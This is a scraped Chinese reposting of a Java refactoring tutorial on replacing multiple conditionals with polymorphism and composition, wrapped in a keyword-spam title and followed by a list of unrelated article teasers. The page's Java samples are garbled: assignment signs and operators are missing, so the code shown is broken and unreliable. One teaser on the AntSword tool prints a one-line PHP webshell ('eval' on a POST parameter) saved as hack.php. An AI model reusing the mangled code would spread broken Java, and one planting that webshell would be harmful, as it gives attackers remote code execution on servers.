怎么在网站标题做logo360网址导航主页

web/2025/9/29 12:55:23/文章来源:
怎么在网站标题做logo,360网址导航主页,灵璧县建设局网站,热搜榜上2023年热门话题js 使用多态替换条件语句用多态替换条件语句是一种众所周知的重构模式。 如果您不熟悉该模式#xff0c;可以在此处查看 。 但是#xff0c;一旦类中有多个条件检查所基于的字段#xff0c;该基本解决方案便会开始崩溃。 我们将研究一些有关如何使用这些可能性的想法。 有很… js 使用多态替换条件语句 用多态替换条件语句是一种众所周知的重构模式。 如果您不熟悉该模式可以在此处查看 。 但是一旦类中有多个条件检查所基于的字段该基本解决方案便会开始崩溃。 我们将研究一些有关如何使用这些可能性的想法。 有很多方法可以解决因此我们将从最简单到最困难的工作始终使用简单的示例来尽可能减少混乱。 那么最简​​单的情况是什么 看一看 public class ClassWithConditionals {private boolean conditional1;private EnumeratedType conditional2;public ClassWithConditionals(boolean cond1, EnumeratedType cond2){conditional1 cond1;conditional2 cond2;}public void method1(){if(conditional1){//do something}else{//do something else}}public void method2(){switch(conditional2){case CASE1://do somethingbreak;case CASE2://do something elsebreak;case CASE3://do something entirely differentbreak;}} }enum EnumeratedType {CASE1,CASE2,CASE3 } 因此在此示例中我们有ClassWithConditionals在其方法中使用的两个不同字段。 在一个合适的示例中您将假设使用的方法不只是给定的两个但在示例中我们只需要两个。 如果每种条件只使用一种方法则无需担心因为维护成本仍然很低。 但是只要执行这种条件检查的方法数量增加就应该考虑进行这种重构。 通常如果您要遵循用多态替换条件您将最终得到六个类来解决此问题 boolean和enum每种组合都需要一个。 取而代之的是我们将使用合成。 那么第一步是什么 首先我们可能应该使用enum类型。 enum可以有自己的方法可以以允许其根据特定enum做不同事情的方式定义这些方法。 因此让我们将enum eratedType更改为如下形式 enum EnumeratedType {CASE1(){public void doSomething(){//do something}},CASE2(){public void doSomething(){//do something else}},CASE3(){public void doSomething(){//do something entirely different}};public abstract void doSomething(); } 现在 method2仅需要将自身委托给conditional2.doSomething() 。 现在让我们修复boolean 。 我们创建一个接口该接口对所有非封装类为进行测试可能还有该包都私有称为Conditional1 。 然后我们用True和False对其进行子类化。 这是代码 interface Conditional1 {static Conditional1 TRUE new True();static Conditional1 FALSE new False();void doSomething(); }class True implements Conditional1 {public void doSomething(){//do something} }class False implements Conditional1 {public void doSomething(){//do something else} } 我决定在接口上创建TRUE和FALSE实例的原因很简单它们都是无状态类这意味着每个实例都具有多个实例是没有意义的。 它还允许我们像enum一样调用它们。 同样现在主要类只需要委托。 这是固定类现在的样子 public class ClassWithConditionals {public static ClassWithConditionals with(boolean cond1, EnumeratedType cond2){Conditional1 conditional1;if(cond1)conditional1 Conditional1.TRUE;elseconditional1 Conditional1.FALSE;return new ClassWithConditionals(conditional1, cond2);}private Conditional1 conditional1;private EnumeratedType conditional2;ClassWithConditionals(Conditional1 cond1, EnumeratedType cond2){this.conditional1 cond1;this.conditional2 cond2;}public void method1(){conditional1.doSomething();}public void method2(){conditional2.doSomething();} } 这里有些奇怪。 我们已经用另一个替换了一个条件。 我们的构造函数足以接受一个Conditional1 但是我们有一个静态工厂方法该方法仍然采用boolean并对此进行条件检查。 考虑到从技术上讲除非有多种方法在进行检查否则我们不会重构此代码因此我们进行了许多检查并将其归为一类。 同样在工厂中通常认为有条件的还可以将所有检查都强制在一个地方并允许多态性从那里接管。 您不必使用静态工厂方法作为工厂但是它是最快速最简单的即时设置方法。 允许调用新ClassWithConditionals对象的创建代码的代码仍然可以按过去的方式传递boolean的另一个好处是它允许我们封装和隐藏基于条件的类的实现细节。 新ClassWithConditionals创建者无需担心创建Conditional1对象甚至无需知道它的存在。 我们仍然希望构造函数接受Conditional1对象这有两个原因1它将条件逻​​辑保存在工厂中而不是构造函数中后者是首选并且2它允许我们传递Conditional1对象的测试双精度。 实际上由于第2点我们应该经常考虑将enum转换为更类似于Conditional1的静态实例。 这将允许您更多地使用测试双打。 它还将有助于继承或通过合成进行扩展这将在稍后进行讨论。 可以想到很多小变化。 首先条件boolean不需要boolean或enum 。 可以有一组基于数字或其他条件的条件表达式。 通常在这些情况下我们用小的帮助程序方法替换支票以使其更清晰即if(numberOfPeople 3)...变成if(isACrowd(numberOfPeople))... 我们可以更进一步并创建通过工厂创建的GroupsOfPeople层次结构。 如果工厂的值为1则返回SinglePerson 给定2则返回Company对象 给定3或更多它将返回Crowd对象。 这些对象中的每个对象都有其自己的方法这样可以帮助减少原始类中的代码量。 另一个变化是当不同的条件字段集分层在一起时 if(condition1 condition2)等。 为了解决这个问题您可以走继承路线并创建爆炸式的类以覆盖所有组合。 另一种选择是用较小的层次结构替换一个条件对象该层次结构接受委托方法中的其他条件对象在那里它仍然具有一些条件代码但是可读性更强。 例如您可以将使用两个布尔值的类转换为如下形式 public class ClassWithConditionals {public static ClassWithConditionals with(boolean condition1, boolean condition2){Conditional1 cond1;if(condition1)cond1 Conditional1.TRUE;elsecond1 Conditional1.FALSE;return new ClassWithConditionals(cond1, condition2);}private Conditional1 condition1;private boolean condition2;ClassWithConditionals(Conditional1 condition1, boolean condition2){this.condition1 condition1;this.condition2 condition2;}public void method(){condition1.method(condition2);} }interface Conditional1 {static Conditional1 TRUE new True();static Conditional1 FALSE new False();void method(boolean condition2); }class True implements Conditional1 {public void method(boolean condition2){if(condition2){//do something}else{//do something else}} }class False implements Conditional1 {public void method(boolean condition2){if(!condition2){//do something really different}//and do this} } Condition1的method接受一个布尔值然后使用它进行更多的条件处理。 此外如果全部逻辑允许您可以创建一组类来替换其中一个条件然后让其创建代码接受其他条件以便确定其一部分创建。 例如 public class ClassWithConditionals {public static ClassWithConditionals from(boolean condition1, boolean condition2){return new ClassWithConditionals(Conditional1.from(condition1, condition2));}private Conditional1 conditionOne;ClassWithConditionals(Conditional1 conditionOne){this.conditionOne conditionOne;}public int method(){return conditionOne.method() * -6;} }interface Conditional1 {static Conditional1 from(boolean condition1, boolean condition2){if(condition1)return True.with(condition2);elsereturn False.with(condition2);}int method(); }class True implements Conditional1 {public static True with(boolean condition2){if(condition2)return new True(5);elsereturn new True(13);}private int secondary;public True(int secondary){this.secondary secondary;}public int method(){return 2 * secondary;} }class False implements Conditional1 {public static False with(boolean condition2){if(condition2)return new False((x, y) - x - y, 31);elsereturn new False((x, y) - x * y, 61);}private final BinaryOperator operation;private final int secondary;public False(BinaryOperator operation, int secondary){this.operation operation;this.secondary secondary;}public int method(){return operation.apply(4, secondary);} } 对于True 第二个条件决定method计算中的次要数字。 在False 它会执行此操作并找出要应用于计算的运算符。 我不确定是否会发生类似的事情但是如果确实发生了您现在知道了一种解决方法。 总的来说这整套重构实质上将代码从单个类更改为Facade。 它需要大量的新类并且使您可以使用与以前的单个类几乎完全相同的方式来使用整个工具包和kaboodle唯一真正的区别是调用静态工厂方法而不是构造函数。 这不是特别重要 我只是想向您指出。 希望您不必担心继承或“通过合成扩展”此类。 但是您可能必须这样做。 如果您要编写的扩展仅真正改变了条件对象的功能则可以简单地编写一个新的Factory为构造函数提供一组新的条件对象。 例如您可以将此静态工厂方法添加到ClassWithConditionals的最新版本中 public static ClassWithConditionals different(int value) {return new ClassWithConditionals(new SimpleConditional1(value)); } 与SimpleConditional1看起来像这样 class SimpleConditional1 implements Conditional1 {private final int value;public SimpleConditional1(int value){this.value value;}public int method(){return value;} } 除此之外您还可以提供原始需要的任何条件对象并覆盖您需要覆盖的所有方法。 因此这就是我用更多的OO选项替换多个条件的结果。 您还有其他方法可以做到吗 您是否有一个无法奏效的示例您想让我大惊小怪 让我知道我会解决。 谢谢阅读。 翻译自: https://www.javacodegeeks.com/2015/01/replacing-multiple-conditionals-with-polymorphism-and-composition.htmljs 使用多态替换条件语句

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/83906.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

厦门优秀的网站设计做业务查牙医诊所一般用什么网站

企业信息化规划如何落地? 规划做好了,蓝图也画好了,人手一块大饼也已经揣好了,那么该怎么落地呢,这才是最关键的。 我将企业信息化规划落地分为4个周期,以最典型的制造行业为例,以简道云这个企…

广元园区建设投资有限公司网站邵阳网站制作建设

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

域名查询站长工具淘宝主图制作

词法分析程序的功能其实就是对所输入的字段进行词法分析任务&#xff0c;对用户的源程序从左到右进行扫描&#xff0c;按照语言的词法规则识别各类单词&#xff0c;并产生相应单词的属性字&#xff0c;并随之显现出来&#xff0c;成为词法分析程序的功能 转载于:https://www.cn…

dede分类信息网站东莞网站优化是什么

Java中如何解决ClassNotFoundException异常&#xff1f; 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在Java编程中&#xff0c;ClassNotFoundException异常…

电子商务与网站建设结业论文百度在线咨询

俗话说&#xff0c;“酒香不怕巷子深”;俗话又说&#xff0c;“酒香也怕巷子深” 。再后来&#xff0c;俗话还说&#xff0c;管他酒香不香巷子深不深&#xff0c;只要找个算盘技巧神乎其神的账房先生&#xff0c;即数据科学家&#xff0c;酒就可以大卖了。这叫做用数据驱动用户…

石家庄那有建网站wordpress文章更新插件

目录 实验拓扑&#xff1a; 实验要求&#xff1a; 实验思路&#xff1a; 实验步骤&#xff1a; 1.配置设备接口IP 2.通过配置缺省路由让公网互通 3.配置ppp 1.R1和R5间的ppp的PAP认证&#xff1b; 2.R2与R5之间的ppp的CHAP认证; 3. R3与R5之间的HDLC封装; 4.构建R1、…

仁怀网站建设滁州做网站

概述&#xff1a; 这个仓库旨在通过一个单一的命令&#xff0c;有效地将新鲜且定制化的知识注入到大型语言模型中&#xff0c;以辅助开发人员的工作。 支持的模型&#xff1a;○ GPT-J (6B)○ LLaMA (7B/13B)○ BLOOM (7.1B)○ Falcon (7B)○ Baichuan (7B/13B)○ InternLM (7…

单网页网站 企业如何有效的推广网站

Ubuntu修改自启动软件或程序 在编译程序的时候发现速度很慢&#xff0c;查找发现自启动选项太多&#xff0c;cpu占用率越来越高&#xff0c;现在进行查询并修改权限。 1、查找当前进程 top2、选择相对于的服务查找是否自启动设置 systemctl list-unit-files该指令用以下显示…

如何引用404做网站wordpress好看博客主题

你好&#xff0c;我在我的(新手)Drupal站点有一个ajax调用这个问题。我试图从表单字段保存一些数据&#xff0c;通过jQuery发布到我的Drupal模块中的函数。这里是我的代码&#xff1a;在drupal中使用Ajax时要保持一个404// in drupalfunction mymodule_menu() {$items array()…

建设网站的页面设计分类信息网站建设多少钱

文章目录 一、冒泡排序二、快速排序三、选择排序四、插入排序五、计算排序六、归并排序七、希尔排序八、堆排序九、桶排序十、基数排序 一、冒泡排序 冒泡排序是一种简单的排序算法。它重复地走访过要排序的数列&#xff0c;一次比较两个元素&#xff0c;如果它们的顺序错误就…

石家庄做网站价格建网站成本

在Debug程序时&#xff0c;面对一些大集合&#xff0c;之前是这样查看的&#xff0c;如下图&#xff0c;这样看起来不直观&#xff0c;集合中的数据只能一个一个实体查看&#xff1a;VS2022预览版带来一个新功能&#xff0c;集合表格可视化&#xff0c;比如下面这样一段代码&am…

个人婚礼网站模板做电影网站赚钱

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

wordpress多媒体占用id南山网站seo

个人分析&#xff1a;master-slave优缺点1.物理服务器增加&#xff0c;负荷增加2.主从只负责各自的写和读&#xff0c;极大程度的缓解X锁和S锁争用3.从库可配置myisam引擎&#xff0c;提升查询性能以及节约系统开销4.丛库通过主库发送来的binlog恢复数据&#xff0c;但是&#…

在线网站生成器app开发上线流程

最近几周一直在做DotNET WinForm开发&#xff0c;陆陆续续有些收获&#xff0c;希望能够有空好好整理整理。记下来以免以后又忘了。:-) 一、最简单的线程使用方法 新建一个C# Windows应用程序项目&#xff0c;在最前面的引用代码那增加一行using System.Threading;在界面上扔个…

傻瓜式网站界面wordpress 分类名称

目录 新建节点 Neo4j CQL创建具有属性的节点 多个标签到节点 单个标签到关系 MATCH命令 RETURN命令&#xff1a; Neo4j CQL - MATCH & RETURN匹配和返回 总结&#xff1a;本文介绍了Neo4j的CREATE&#xff0c;MATCH&#xff0c;RETURN的基本操作 新建节点 Neo4j创建一…

做农产品的网站安康地seo

网络 我们生活在一个网络无处不在的一个虚拟世界中&#xff0c;网络中的每一个设备都是一个节点。大多是我们的计算机&#xff0c;但是他还可以连接其他设备&#xff0c;例如打印机&#xff0c;路由器&#xff0c;网关&#xff0c;你的手机&#xff0c;智能家居等。我们可以使…

佛山p2p网站建设惠州百度seo排名

来源&#xff1a;机器之心编辑&#xff1a;陈萍、杜伟大脑是如何近似反向传播算法的&#xff1f;发表在《自然 - 神经科学》的一篇论文&#xff0c;研究者找到了可以生活在活体大脑并进行实时工作的等价物&#xff0c;他们提出的大脑学习算法模型可以模拟反向传播过程。每当人类…

山西省网站建设哪里好手机免费建站教程

目录 递归实现排列型枚举 递归实现排列类型枚举 II 递归实现组合型枚举 递归实现组合型枚举 II 递归实现指数型枚举 递归实现指数型枚举 II 递归不是循环&#xff0c;递归利用了系统栈&#xff0c;只要是函数都会被系统管理。当执行到函数地址入口时就会为函数在系统栈上分…

制作网站的免费软件品牌建设可以从哪方面入手

win10-tdengine的安装及使用 一、下载及安装配置1.1 下载安装1.2 配置1.3 关闭防火墙和开放端口1.3.1 关闭防火墙1.3.2 开放6030端口 二、启动及关闭服务2.1 启动tdengine服务2.2 关闭tdengine服务2.2 开机自启动配置 四、可视化工具五、TDengine 命令行&#xff08;CLI&#x…

免费购物系统东莞优化seo网站关键词优化

张家港市HG-KN13J-S100三菱伺服控制器MR-J2S1该产品还有RS-232和RS-422串行通讯功能&#xff0c;通过安装有伺服设置软件的个人计算机就能进行参数设定&#xff0c;试运行&#xff0c;状态显示和增益调整等操作。2与MR-J2S系列配套的伺服电机编码器采用了分辨率为131072脉冲/转…